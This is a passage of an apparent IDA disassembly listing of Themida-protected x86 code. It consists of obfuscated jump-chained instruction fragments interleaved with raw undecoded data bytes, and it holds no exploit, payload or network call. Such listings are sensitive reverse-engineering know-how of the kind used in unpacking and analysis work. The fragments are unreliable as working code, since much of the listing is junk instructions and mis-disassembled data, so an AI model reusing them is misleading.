[esp] add esp, 4 and eax, ebp pop ebp jmp loc_509FD0 ; --------------------------------------------------------------------------- dd 0B60F6664h, 2B2DE902h, 0C7810000h, 31831A59h, 10BCE9h db 0 ; --------------------------------------------------------------------------- loc_503791: ; CODE XREF: Themida_:0050A982j or edi, esi pop esi push eax mov eax, 7BD11DF6h shl eax, 8 xor eax, 0C1DFE27Dh xor edi, eax jmp loc_50830B ; --------------------------------------------------------------------------- aXspa db '(ÃXéP',0 dd 4205C00h, 0B3E99C24h, 5DFFFFF3h, 33242C31h, 2C31242Ch dd 0F3A4E924h, 0B768FFFFh, 0E900004Bh, 3795h ; --------------------------------------------------------------------------- loc_5037D4: ; CODE XREF: Themida_:0050508Bj mov edi, esp push esi mov esi, 27775D31h add esi, 6AC417D3h neg esi and esi, 2E691618h dec esi add esi, 44FC58FEh xor esi, 713C5B11h jmp loc_50A823 ; --------------------------------------------------------------------------- dd 8B1C7709h, 0C4812434h, 4, 0FFF361E9h, 5FF931FFh, 3FEAE9h dd 0E9816600h, 16676C1h, 1C8B59C8h, 4C48124h, 66000000h dd 566D829h, 0A5E950B2h, 8100002Bh, 0A498FEBh, 84EB8146h dd 168680Dh, 84C381C3h, 0E968680Dh, 9566h, 85F3815Bh, 0E9915C3Dh dd 1B12h, 148BD601h, 4C48124h, 51000000h, 1E6AE953h, 0EC830000h dd 241C8904h, 277CB850h, 0D8F77D0Dh, 0EC9B951h, 0C8315D01h dd 29B70559h, 0BBE9200Ch db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50388B: ; CODE XREF: Themida_:0050E79Dj add edi, 4 add edi, 4 xchg edi, [esp] pop esp xchg eax, edi jmp loc_50E38D ; --------------------------------------------------------------------------- db 56h, 54h, 0E9h dd 190Dh ; --------------------------------------------------------------------------- loc_5038A8: ; CODE XREF: Themida_:0050AA7Ej mov eax, [esp] jmp loc_50927A ; --------------------------------------------------------------------------- dd 5959CA01h, 4C281h, 14870000h, 992BE924h, 0C1810000h dd 2, 2474FF51h, 2434FF04h, 81240C8Bh, 4C4h, 4F9FE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5038DE: ; CODE XREF: Themida_:00504665j pop esp mov [esp], eax jmp loc_50C8F6 ; --------------------------------------------------------------------------- db 5Ah dd 5C05F829h, 5F7B5A15h, 0A3E95052h, 50000040h, 18B65253h dd 80D5CE80h, 0EE9BFEEh, 83000021h, 0FF5104C4h, 0E9042474h dd 761Fh ; --------------------------------------------------------------------------- loc_503914: ; CODE XREF: Themida_:005094FCj push ebx push eax push ebp mov ebp, 135B1EE8h jmp loc_5093D7 ; --------------------------------------------------------------------------- db 81h, 0C3h, 46h dd 0E95A7F04h, 0AC91h, 5D242C29h, 1C58345h, 25DBF57h, 0C781543Fh dd 7D0B9B61h, 15FFD29h, 0EA685DE8h, 89000063h, 0BD55241Ch dd 202720FEh, 4D07EDC1h, 8103EDC1h, 0AC7F8FE5h, 0EC81534Ah dd 4, 8BCE9h, 0DCE95E00h db 45h, 2 dup(0) ; --------------------------------------------------------------------------- loc_503973: ; CODE XREF: Themida_:0050AD7Dj sub ebx, 6F4D2644h sub esp, 4 mov [esp], ecx push edx mov dh, al push ebx mov bl, dh mov cl, bl pop ebx mov edx, [esp] add esp, 4 mov [ebx], cl pop ecx pop ebx jmp loc_502B6E ; --------------------------------------------------------------------------- dw 4E66h dd 5EEC166h, 42C68166h, 0F301661Fh, 0C0B70F5Eh, 4B7A6866h dd 24048966h, 0FFF1B5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5039B9: ; CODE XREF: Themida_:00508545j mov ebp, 564F419Ah jmp loc_50A146 ; --------------------------------------------------------------------------- loc_5039C3: ; CODE XREF: Themida_:00509BF9j shr ebp, 8 or ebp, 211A51E9h add ebp, 87E00F4h jmp loc_50B919 ; --------------------------------------------------------------------------- db 48h dd 0E904EC83h, 1BEFh, 4BAh, 1BA5E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5039EA: ; CODE XREF: Themida_:00505E7Fj pop dword ptr [esp] mov esp, [esp] cmp cx, ax pushf jmp loc_504014 ; --------------------------------------------------------------------------- db 50h, 0E9h, 13h dd 0FF000026h, 7E92434h, 8100001Bh, 0A1042444h, 0E903C738h dd 8BA2h, 8B24048Fh, 4302424h, 4BE99C24h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_503A23: ; CODE XREF: Themida_:00507419j add ecx, 110A48B0h add ecx, 0FFFFFFFFh not ecx jmp loc_50475C ; --------------------------------------------------------------------------- dw 0B951h dd 19223743h, 7360C6BDh, 0FFCD0117h, 0FCE92434h, 0BB00008Ah dd 52B01770h, 5B0FF381h, 0DE29432Dh, 965DE9h db 0 ; --------------------------------------------------------------------------- loc_503A5D: ; CODE XREF: Themida_:0050B8C6j pop ecx jmp loc_50E482 ; --------------------------------------------------------------------------- db 59h dd 81E28952h, 4C2h, 4C28100h, 87000000h, 0E95C2414h, 40Eh ; --------------------------------------------------------------------------- loc_503A7C: ; CODE XREF: Themida_:005068F4j not edi xor edx, edi xor edi, edx xor edx, edi xor [esp], edx xor edx, [esp] xor [esp], edx jmp loc_506693 ; --------------------------------------------------------------------------- dw 0BB53h dd 10427D0Bh, 1C8BDA29h, 4C48124h, 8B000000h, 0C4812434h dd 4, 0C15AD021h, 0C83108E8h, 4EC8156h, 89000000h, 0D1E92424h db 77h, 2 dup(0) ; --------------------------------------------------------------------------- loc_503AC3: ; CODE XREF: Themida_:0050A7CCj add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi mov edi, 4 add ecx, edi pop edi add ecx, 4 xchg ecx, [esp] pop esp and eax, edx mov edx, [esp] jmp loc_502F3B ; --------------------------------------------------------------------------- db 50h dd 4B8h, 24440100h, 0E95B5804h, 41BBh, 4D63CFBEh, 43E68151h dd 8128DB45h, 2635C7F6h, 0CABD5561h, 0E903181Ah, 0D62h dd 482468h, 24148900h, 0B39EE954h, 0C4810000h, 4, 4C781h dd 3C870000h, 24248B24h, 9C240CFFh, 484DE9h, 24048B00h dd 6804C483h, 0D25h, 0BE243489h, 1, 34FFF021h, 24348B24h dd 6804C483h, 685Bh, 6A4AE9h, 0E7895700h, 4C781h, 0C7810000h dd 4, 27DEE9h, 242C8700h, 4C4835Ch, 421468h, 24148900h dd 2F5E68h, 4869E900h, 0E94E0000h, 6547h ; --------------------------------------------------------------------------- loc_503BA0: ; CODE XREF: Themida_:0050743Ej sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_5053BF ; --------------------------------------------------------------------------- db 81h dd 4C3h, 46DA6800h, 0C3E90000h, 8100001Bh, 487072F7h, 4EC830Ch dd 0BA241489h, 7B5A155Ch, 10E9D029h, 29FFFFFDh, 17C181F1h dd 8122AD52h, 0E746D7C1h, 24348B2Ch, 4C481h, 6EE90000h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_503BF3: ; CODE XREF: Themida_:0050F255j mov ebx, [esp] add esp, 4 push ebx mov bl, ah mov ch, bl jmp loc_50DC32 ; --------------------------------------------------------------------------- loc_503C03: ; CODE XREF: Themida_:0050F14Fj pop ebp shr eax, 0Bh xor ecx, eax push ebx jmp loc_50B5ED ; --------------------------------------------------------------------------- db 0C1h dd 0F38102EBh, 3248E3FAh, 24048153h, 560A0834h, 9798E95Dh dd 0BE560000h, 247688Dh, 9CE9F231h db 38h, 2 dup(0) ; --------------------------------------------------------------------------- loc_503C33: ; CODE XREF: Themida_:005088F6j pop esi sub esi, 0FB1DAFD1h jmp loc_504047 ; --------------------------------------------------------------------------- db 0ADh dd 3318E9h, 4EC8300h, 3EE9E9h, 88C80100h, 8B5B5838h, 0D5E9240Ch db 8Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_503C5B: ; CODE XREF: Themida_:00506A79j push edi sub esp, 4 mov [esp], edx jmp loc_50AD34 ; --------------------------------------------------------------------------- db 8Bh dd 0C481243Ch, 4, 59DE68h, 24148900h, 815875BAh, 0E2CA8151h dd 814C5C1Bh, 0FFFFFFC2h, 75EA81FFh, 685585F9h, 39A0h dd 89242C89h, 206F89D5h, 24148B5Dh, 0B3ACE9h, 0D8305C00h dd 0B5515B66h, 0C6C5808Bh, 0E990CD80h, 0AD4Eh, 5D59CE89h dd 20E9F501h, 51FFFFEFh, 441EE9h, 8E8C000h, 40FCE9h db 0 ; --------------------------------------------------------------------------- loc_503CD1: ; CODE XREF: Themida_:0050A8DEj sub [esp], eax jmp loc_506B05 ; --------------------------------------------------------------------------- loc_503CD9: ; CODE XREF: Themida_:00508A3Cj push ebp push edx jmp loc_50777C ; --------------------------------------------------------------------------- dd 8108E2C1h, 0C13FFCEAh, 0E9D70149h, 9A3Dh, 4B9h, 59CD2900h dd 61CEE9h, 58C30900h, 0AFCAE952h, 63E90000h, 5FFFFEEh dd 4, 8904EC83h, 71E9241Ch, 5900007Eh, 28CCC380h, 8F60E9C3h dd 0FF520000h, 5A042474h, 5C24048Fh, 4EC81h, 4890000h dd 0BD555124h, 204979A9h, 79F1F581h, 0CD814F0Bh, 8BA7A5Eh dd 8108E5C1h, 3C2F06CDh, 4E5C154h, 9E8FB951h, 0CD318516h dd 0E9E98959h, 90D4h, 208FB151h, 536659CEh, 0FE28CCB7h dd 0B1515B66h, 34B353CCh, 0EB80D3F6h, 80DBF601h, 0F380BACBh dd 6071E922h, 0E5890000h, 4C581h, 0C5830000h, 242C8704h dd 240C875Ch, 0C89665Ch, 0B60F6624h, 9C5166C8h, 0FFEDBDE9h dd 0ECC05AFFh, 914E908h db 2 dup(0) ; --------------------------------------------------------------------------- loc_503DBA: ; CODE XREF: Themida_:00505C18j sub esp, 4 jmp loc_509128 ; --------------------------------------------------------------------------- loc_503DC2: ; CODE XREF: Themida_:0050EB02j not dword ptr [esp] jmp loc_508A3B ; --------------------------------------------------------------------------- dw 8159h dd 4405C5C3h, 9DBE913h db 2 dup(0) ; --------------------------------------------------------------------------- loc_503DD6: ; CODE XREF: Themida_:00504972j mov esi, 42D37CA1h sub edx, esi jmp loc_50AB48 ; --------------------------------------------------------------------------- dw 8B66h dd 89512404h, 4EC83E1h, 0BD242C89h, 4, 6042E981h, 0E9014B96h dd 6042C181h, 835D4B96h, 1C8904ECh, 3990BB24h, 0BD5551F3h dd 51F3398Eh, 25A3E9h, 0C8B6600h, 4543E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_503E22: ; CODE XREF: Themida_:00504901j mov eax, [esp] add esp, 4 jmp loc_50D76D ; --------------------------------------------------------------------------- dd 242C8758h, 5324248Bh, 0C381E389h, 4, 27A7E9h, 4EC8100h dd 89000000h, 7E9240Ch, 0B80000B3h, 0E251B5Ch, 2507E0C1h dd 44B75AB6h, 0EE2E410Dh, 7E0C130h, 0A6BF5740h, 0C13F852Ch dd 0F78108E7h, 757C81ECh, 895FF801h, 8CE958C7h, 5D000017h dd 0AC6DE956h, 0E9510000h, 2649h, 954AE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_503E96: ; CODE XREF: Themida_:00506800j push esi mov esi, 4 add edi, esi mov esi, [esp] add esp, 4 push ebx mov ebx, 4 add edi, ebx pop ebx push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] or eax, eax jnz loc_50CA3B push edi jmp loc_50595E ; --------------------------------------------------------------------------- loc_503EC7: ; CODE XREF: Themida_:00506471j sub ebp, 0FFFFFFFFh shl ebp, 5 not ebp neg ebp jmp loc_506ECD ; --------------------------------------------------------------------------- dw 0EA88h dd 8F05E9h db 0 ; --------------------------------------------------------------------------- loc_503EDD: ; CODE XREF: Themida_:00508233j mov esi, 6AB04A63h dec esi add esi, 5AB1215Ah sub esi, 7C156201h sub edx, esi pop esi pop ecx loc_503EF3: ; CODE XREF: Themida_:0050514Cj ; Themida_:00506BACj push 6A51h mov [esp], eax push ecx push 1B33005Eh mov ecx, [esp] add esp, 4 xor ecx, 1B33007Ah mov eax, ecx mov ecx, [esp] add esp, 4 add eax, 3D84AA1h add eax, 2575634Dh add eax, edi sub eax, 2575634Dh push ecx mov ecx, 3D84AA1h jmp loc_50C00B ; --------------------------------------------------------------------------- dd 5B2434FFh, 0E904C483h, 514Dh, 4C381h, 0EB810000h, 4 dd 0E9241C33h, 0AF14h, 2BE56h, 0CE90000h, 5100004Fh, 240C8B54h dd 4C481h, 0C1810000h, 4, 0FFF94DE9h, 1C77FFFFh, 6659669Dh dd 9C2414D3h, 0FFEBE9E9h db 0FFh ; --------------------------------------------------------------------------- loc_503F85: ; CODE XREF: Themida_:0050BA37j push edx mov edx, 255A305Eh mov ebx, 0EA95F563h add ebx, 6E8B654Fh jmp loc_50C04E ; --------------------------------------------------------------------------- loc_503F9B: ; CODE XREF: Themida_:00504141j add esi, 2BFF69h jmp loc_50AD9C ; --------------------------------------------------------------------------- dw 0EC83h dd 24048904h, 6856E089h, 2BC5h, 9ED3E9h db 0 ; --------------------------------------------------------------------------- loc_503FB9: ; CODE XREF: Themida_:0050D425j mov [esp], ebp mov ebp, 4 jmp loc_50A1FE ; --------------------------------------------------------------------------- loc_503FC6: ; CODE XREF: Themida_:0050B130j mov ebp, 0FFFFFFFFh sub [edi+24h], ebp push dword ptr [esp] push dword ptr [esp] pop ebp push eax jmp loc_50E7AF ; --------------------------------------------------------------------------- db 0ADh dd 0EC81D831h, 4, 0FFF130E9h db 0FFh ; --------------------------------------------------------------------------- loc_503FE9: ; CODE XREF: Themida_:00509AF8j or ecx, 3FD53F11h jmp loc_507449 ; --------------------------------------------------------------------------- dd 0D92CC381h, 0DA21EC49h, 4E2C15Bh, 0C281DAF7h, 86633CC4h dd 63F0E9h, 0E9535D00h, 59F6h ; --------------------------------------------------------------------------- loc_504014: ; CODE XREF: Themida_:005039F4j jmp loc_502B6E ; --------------------------------------------------------------------------- db 3, 62h, 38h dd 4EC81h, 3C890000h, 339EE924h, 0F660000h, 686602B6h dd 0EBE93426h db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_504037: ; CODE XREF: Themida_:0050972Bj push edi jmp loc_504AC5 ; --------------------------------------------------------------------------- db 68h, 0EEh, 37h dd 59E90000h db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_504047: ; CODE XREF: Themida_:00503C3Aj mov eax, esi pop esi add ecx, eax jmp loc_508188 ; --------------------------------------------------------------------------- db 5Dh, 8Fh, 4 dd 24248B24h, 2424D366h, 0EB0CE99Ch, 52ADFFFFh, 0AD6EC9BAh dd 0E9D2F777h, 102Bh, 241B68h, 242C8900h, 551C71BDh, 50D5F766h dd 5457EEB8h, 433E923h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50408A: ; CODE XREF: Themida_:0050DCCCj mov [esp], ecx mov ecx, 40E81AE7h push ebp mov ebp, 7C943324h jmp loc_50BF2E ; --------------------------------------------------------------------------- db 81h, 0EDh, 0E0h dd 3145D9FBh, 571FE9EFh, 14F70000h, 242C8B24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_505E84 ; --------------------------------------------------------------------------- dd 4246C81h, 3C738A1h, 4245401h, 0FFF93EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5040C9: ; CODE XREF: Themida_:0050D1ABj mov eax, [esp] add esp, 4 push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] or ebx, ebx jnz loc_50A04E push 2CA6h jmp loc_504B11 ; --------------------------------------------------------------------------- db 0BBh dd 13EF1D37h, 0C5E9F387h db 3 dup(0) ; --------------------------------------------------------------------------- loc_5040FF: ; CODE XREF: Themida_:005030AEj push ebp push esi mov esi, 36393D25h jmp loc_50669F ; --------------------------------------------------------------------------- loc_50410B: ; CODE XREF: Themida_:005030FEj pop esp and eax, ebp mov ebp, [esp] add esp, 4 or eax, eax jz loc_50C384 sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], edi jmp loc_50E311 ; --------------------------------------------------------------------------- loc_504130: ; CODE XREF: Themida_:0050AACEj mov esi, 29B7266Dh or esi, 2ADE402Ah inc esi shr esi, 8 not esi jmp loc_503F9B ; --------------------------------------------------------------------------- aIusE db '‰ãé°E',0 dd 4EC8100h, 89000000h, 0C388241Ch, 21E768h, 242C8900h dd 242C8B54h, 4C481h, 0C5810000h, 4, 4ED81h, 0FF550000h dd 0E9042474h, 0EE8h, 622204BDh, 6D14E904h, 0E95A0000h dd 2A54h, 9D1C77FFh, 19665866h, 0E99C2404h, 2E86h ; --------------------------------------------------------------------------- loc_5041A0: ; CODE XREF: Themida_:0050C4E3j mov edx, 582141EFh shr edx, 8 jmp loc_50DE5E ; --------------------------------------------------------------------------- db 55h, 66h, 0BDh dd 66531DB8h, 661E7CBBh, 6602EBC1h, 0E907E3C1h, 0AA2Ah dd 0F387D6F7h, 94CCE9h, 240C8900h, 4F20B850h, 0BF576E68h dd 6944599Ah, 6EFC147h, 0BF9F781h, 0C7816542h, 63213129h dd 1AE3E9h, 5B652D00h, 0B9512143h, 610847D7h, 0AE98141h dd 135F33Ch, 240C8BC8h, 0A7CAE9h, 59CA0100h, 5EC7BE56h dd 56E90BC1h, 5200002Dh, 0C281E289h, 4, 6A82E9h, 243C8900h dd 6B3535BFh, 8D5E965h db 2 dup(0) ; --------------------------------------------------------------------------- loc_504236: ; CODE XREF: Themida_:00505861j pop eax dec eax dec eax not eax shl eax, 5 add eax, 0B43C648Dh mov edx, eax mov eax, [esp] add esp, 4 jmp loc_502D6C ; --------------------------------------------------------------------------- db 20h dd 0F68058E6h, 9FC2E924h, 0FF660000h, 0E908E932h, 483FFFFh dd 81590424h, 4C1h, 23685500h, 8900002Dh, 20BB241Ch, 6836DC70h dd 0 dd 5B241C29h, 0FFF982E9h, 0FA295FFFh, 2414335Fh, 69B3E9h dd 3EBC100h, 0A8D2E94Bh, 14890000h, 4EC8324h, 0B5240C89h dd 0FEDDF60Dh, 37BCE9CDh, 0D0010000h, 0AD409A2Dh, 581A053Fh dd 0E95A6B16h, 0FFFFF1E0h ; --------------------------------------------------------------------------- loc_5042C8: ; CODE XREF: Themida_:005078B5j pop esp jmp loc_502B6E ; --------------------------------------------------------------------------- dw 0C483h dd 54BE2D04h, 0F801065Bh, 0EAE95051h, 0BEFFFFF2h, 2, 505EF001h dd 42474FFh, 582434FFh, 83FEE9h, 8BD88900h, 0C483241Ch dd 0F7D8F704h, 4250E9D8h, 48B80000h, 486D7D52h, 38EA2D48h dd 7EE957EAh db 96h, 2 dup(0) ; --------------------------------------------------------------------------- loc_504317: ; CODE XREF: Themida_:005094CDj pop esi add esi, 4 push ecx mov ecx, 4 jmp loc_505CDF ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C48358h, 4EC81h, 14890000h, 6D0A6824h, 24890000h, 4B85024h dd 1000000h, 58042444h, 8324148Bh, 0C28104C4h, 4, 4C281h dd 14330000h, 24143124h, 8B241433h, 0B70F2424h, 0E68956C8h dd 270FE9h, 85E95600h, 5FFFFF7h, 4, 20ACE9h, 24348900h dd 965283BEh, 9D2AE909h, 0D1300000h, 24148B66h, 0AE71E952h dd 3C310000h, 243C3324h, 0AACEE9h, 0E9E68900h, 0FFFFEAE3h dd 55AD009h, 0A06C8756h, 0E9585E50h, 111Bh, 4BF57h, 7C010000h dd 0FF5F0424h, 49E92434h, 5FFFFF2h, 586C0359h, 0FFED68E9h dd 74E2BAFFh, 0D2F76CFAh, 1C20CA81h, 0F2815771h, 6F73701Bh dd 0EF22B951h, 0CA31B806h, 5AD30159h, 1E6668h, 24048900h dd 50085AB8h, 3B910D0Dh, 0F3E91D83h, 0F000058h, 9C2404A3h dd 0FFE751E9h, 24895CFFh, 403F6824h, 2C890000h, 4BD24h dd 6C010000h, 33E90424h, 0F700005Ch, 4E7C1DFh, 8204C781h dd 39E992C1h db 0A9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_504447: ; CODE XREF: Themida_:0050B16Aj add esp, 4 not edx jmp loc_502CDB ; --------------------------------------------------------------------------- dd 0F0EE815Dh, 686F8F1Dh, 61Eh, 0E9240489h, 8EC9h, 4C681h dd 34870000h, 24248B24h, 5C24048Fh, 8652E9h, 470D0500h dd 2FE95DAAh db 4Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_504487: ; CODE XREF: Themida_:005074DFj xchg ebp, [esp] jmp loc_50A8C1 ; --------------------------------------------------------------------------- db 0BBh dd 20770998h, 0FFFFEB81h, 0C381FFFFh, 0FD206A24h, 815BDD21h dd 0F1C2AF5h, 6441053Ah, 0E92D06B6h, 5496340h, 63AD36C4h dd 0AA18E9h, 0B1823500h, 0C5319B6Ch, 5DE98958h, 68h, 0AAA1E900h dd 0B2520000h, 0A8C2E931h, 50580000h, 405E089h, 0E9000000h dd 0FFFFE6CAh, 9FE9D831h, 0BB000009h, 19BE62C3h, 815BDE09h dd 5248F0F6h, 81D6F708h, 333BD8E6h, 2FEE8120h, 29E0EA3Bh dd 0FB895EF7h, 5BDD295Fh, 5769C581h, 0F9E98C12h, 5600008Ah dd 4EC81h, 1C890000h, 4A43E924h, 50520000h, 0C688D888h dd 0E924048Bh, 4754h ; --------------------------------------------------------------------------- loc_50453C: ; CODE XREF: Themida_:0050BAD0j mov eax, ebx mov ebx, [esp] add esp, 4 sub eax, 441F0A7Bh sub eax, 47830A52h push edi jmp loc_50E872 ; --------------------------------------------------------------------------- dd 0BC7BF0BDh, 8E58174h, 0E9623C3Ah, 0AB7Ch, 240C8B66h dd 51E28952h, 35346855h, 815D4D8Fh, 70CAD0C5h, 4D90E9B2h dd 0C8290000h, 58C28959h, 8B1C5721h, 0DEE92414h, 87FFFFF5h dd 248B2434h, 0FEE9C324h, 57000025h, 6B231ABFh, 5DEF813Bh dd 0E95BBC01h, 0FFFFF1DAh, 38D268h, 24248900h, 4240483h dd 8124148Bh, 4C4h, 2AE95500h, 280000A7h, 240C8BEBh, 4C481h dd 0B2520000h, 5AD32811h, 0C0B60F58h, 24148B66h, 0AA0AE957h dd 4300000h, 24043224h, 0E9240430h, 4D65h, 0C4868h, 8477E900h dd 81AC0000h, 4ECh, 240C8900h, 55E9D6B5h db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50460F: ; CODE XREF: Themida_:00508525j add esp, 4 jmp loc_50E3FF ; --------------------------------------------------------------------------- loc_504617: ; CODE XREF: Themida_:005081FDj xor esi, [esp] mov esp, [esp] jmp loc_506137 ; --------------------------------------------------------------------------- dw 8966h dd 43E92404h, 5BFFFFE5h, 3D82C281h, 0B8E94B54h, 8100001Eh dd 4C4h, 1EBD5500h, 81D15E01h, 375D42C7h, 81EF295Fh, 375D42EFh dd 0F9015D5Fh, 515AE9h db 0 ; --------------------------------------------------------------------------- loc_504659: ; CODE XREF: Themida_:005092A4j add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_5038DE ; --------------------------------------------------------------------------- dw 0EA81h dd 4EE43FD3h, 7DE7CA81h, 0EA8165B0h, 0FFF27FFFh, 2E95E9h dd 49EA8100h, 1F035BAh, 0E8015AD5h, 857FE9h, 24148700h dd 48F545Ch, 659EE924h, 0D3F70000h, 70F068h, 24048900h dd 0B8h, 9DFDE900h, 0C8B0000h, 4C48324h, 42Dh, 24048700h dd 2404895Ch, 0B35378B4h, 9AA6E92Bh, 0D4300000h, 2AE9E230h dd 5C000089h, 4F7EE9h db 0 ; --------------------------------------------------------------------------- loc_5046DD: ; CODE XREF: Themida_:0050895Cj xor ebx, 0D2A1B9E5h add edx, ebx pop ebx jmp loc_50B1C6 ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 241CD359h, 661DE99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_5046FA: ; CODE XREF: Themida_:0050BF4Fj xchg edx, ebp jmp loc_50EB01 ; --------------------------------------------------------------------------- db 81h, 4, 24h dd 1DB65580h, 8324048Bh, 0BD5504C4h, 6EE936ACh, 0CD81DDF7h dd 6AC291Fh, 14BD5557h, 0BF02395Bh, 7D915C75h, 815DEF31h dd 608C7EC7h, 3CBE56FAh, 294B4751h, 844BE9F5h, 0E9530000h dd 2A8h ; --------------------------------------------------------------------------- loc_504744: ; CODE XREF: Themida_:0050913Aj or ebp, edx mov edx, [esp] add esp, 4 push eax mov eax, 0DEFF6FDBh xor ebp, eax jmp loc_50BE94 ; --------------------------------------------------------------------------- loc_50475C: ; CODE XREF: Themida_:00503A31j shl ecx, 5 push esi mov esi, 0A0ACBBC4h add ecx, esi jmp loc_50DB96 ; --------------------------------------------------------------------------- dd 4E4EDEF7h, 7A57CE81h, 0F6811A50h, 20885A9Ch, 295EF029h dd 20C305E8h, 34FF7BF0h, 0C4835D24h, 0B60F6604h, 45686600h dd 4896649h, 0E3D0E924h, 27BDFFFFh, 57643E5Eh, 3B2C8BBFh dd 7EFC14Bh, 4E08E9h, 48EF6800h, 4890000h, 0E3B0E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5047BE: ; CODE XREF: Themida_:005054E3j or eax, eax jz loc_50EBA1 push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx push ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov ecx, [esp] jmp loc_5033E4 ; --------------------------------------------------------------------------- dw 4EBBh dd 0E9367F54h, 995Eh, 51242C89h, 0D16F88B9h, 81D0E91Ch dd 0EC830000h, 58545004h, 6F9ABD55h, 0E94566ACh, 203Ch dd 0B613402Dh, 31EF2521h, 560529F0h, 1F64FDFh, 0C38158C3h dd 4, 2474FF53h, 241C8B04h, 4C481h, 9BE90000h, 81000005h dd 3260BC7h, 70EF8175h, 5B17203Ah, 0FFEDFDE9h, 1C781FFh dd 0C1000000h, 0EF8102EFh, 0CB224281h, 815FFB31h, 89C2EEC3h dd 35E1E9F8h, 0D9010000h, 0FEBB535Bh, 81477210h, 8AD6EAEBh dd 9961E914h, 0ED810000h, 43EF7CF0h, 8101ED83h, 8C3F26E5h dd 11C58141h, 8115D862h, 5F6840EEh, 0CC6810Ah, 143ED45h dd 0CEE81EEh, 5343ED45h, 5F6840BBh, 0E9DE010Ah, 3F1Dh dd 0E906E1C1h, 6DEBh, 2B51E181h, 2EE97088h, 4F000089h dd 0FFFB6AE9h, 75E95DFFh, 0FE000065h, 4E0C0C8h, 1324ED24h dd 0C7E9D8F6h, 0C100009Ah, 0E2C106EAh, 56D2F708h, 0CF6FDCBEh dd 0E9F229D2h, 5806h, 0C3E9CB09h db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5048FF: ; CODE XREF: Themida_:0050F1DFj push eax push ebp jmp loc_503E22 ; --------------------------------------------------------------------------- loc_504906: ; CODE XREF: Themida_:00507B7Fj add ecx, 4 jmp loc_50CB05 ; --------------------------------------------------------------------------- dw 0BA52h dd 79451307h, 3F4DE9h, 4896600h, 0E24CE924h, 0E789FFFFh dd 4C781h, 0D4E90000h, 5D000036h, 840FC90Bh, 7A0Ch, 2434FF54h dd 0B75E9h db 0 ; --------------------------------------------------------------------------- loc_504941: ; CODE XREF: Themida_:00505C63j jmp loc_502B6E ; --------------------------------------------------------------------------- dw 0D721h dd 5A2434FFh, 5FF6E9h, 24148B00h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xor edx, 45BA4ABBh push 2B8Eh mov [esp], esi jmp loc_503DD6 ; --------------------------------------------------------------------------- db 66h dd 59E8005Bh, 0D828942Ch, 51669404h, 202C65B5h, 0A07FE9h db 0 ; --------------------------------------------------------------------------- loc_50498D: ; CODE XREF: Themida_:00507EC1j mov [esp], eax mov eax, 1FEA6535h and eax, 771E1B1Ch xor eax, 5E9318BDh jmp loc_507903 ; --------------------------------------------------------------------------- loc_5049A4: ; CODE XREF: Themida_:00503261j add esi, 4 add esi, 4 push esi push dword ptr [esp+4] mov esi, [esp] jmp loc_505FD6 ; --------------------------------------------------------------------------- db 5Ch, 87h, 14h dd 8B665C24h, 0D0682404h, 0E9000047h, 0A1F1h, 875BD801h dd 0E95C2404h, 3330h ; --------------------------------------------------------------------------- loc_5049DC: ; CODE XREF: Themida_:0050669Aj add esp, 4 add esp, 4 push ebp push edx jmp loc_5092A9 ; --------------------------------------------------------------------------- dd 0DC1615BBh, 3E3C17Dh, 7DA0E9h, 24348900h, 24348B54h dd 7FFFE9h, 243C8B00h, 3528E9h, 0C7E95300h, 0F700006Eh dd 96F581D5h, 89BAC1A0h, 0A2E95DEEh db 8Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_504A23: ; CODE XREF: Themida_:0050DA72j pop ebx xor eax, ebp jmp loc_50C57B ; --------------------------------------------------------------------------- db 89h dd 0C0E9241Ch db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_504A33: ; CODE XREF: Themida_:0050E5E0j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_50BA2C ; --------------------------------------------------------------------------- aBUGsX db 'Æ,ž{£é)X',0 dd 4C48100h, 8F000000h, 0EFE92404h, 66000041h, 662782BBh dd 6606E3C1h, 7835C381h, 15EB8166h, 0DA0166F4h, 0C281665Bh dd 3166DB31h, 81665AD0h, 663127C3h, 5666C329h, 0FFEC75E9h db 0FFh ; --------------------------------------------------------------------------- loc_504A91: ; CODE XREF: Themida_:00505BA4j sub ebp, esi pop esi xor ebp, 0ECBD485Dh mov edi, ebp jmp loc_50C709 ; --------------------------------------------------------------------------- db 31h, 0E9h, 8Bh dd 18E9242Ch db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_504AAB: ; CODE XREF: Themida_:0050CF9Bj pop eax pop dword ptr [esp] mov esp, [esp] jmp loc_506904 ; --------------------------------------------------------------------------- aZRu9S db '‡ÖRU½9&Ú',0Ah db 'é¹#',0 db 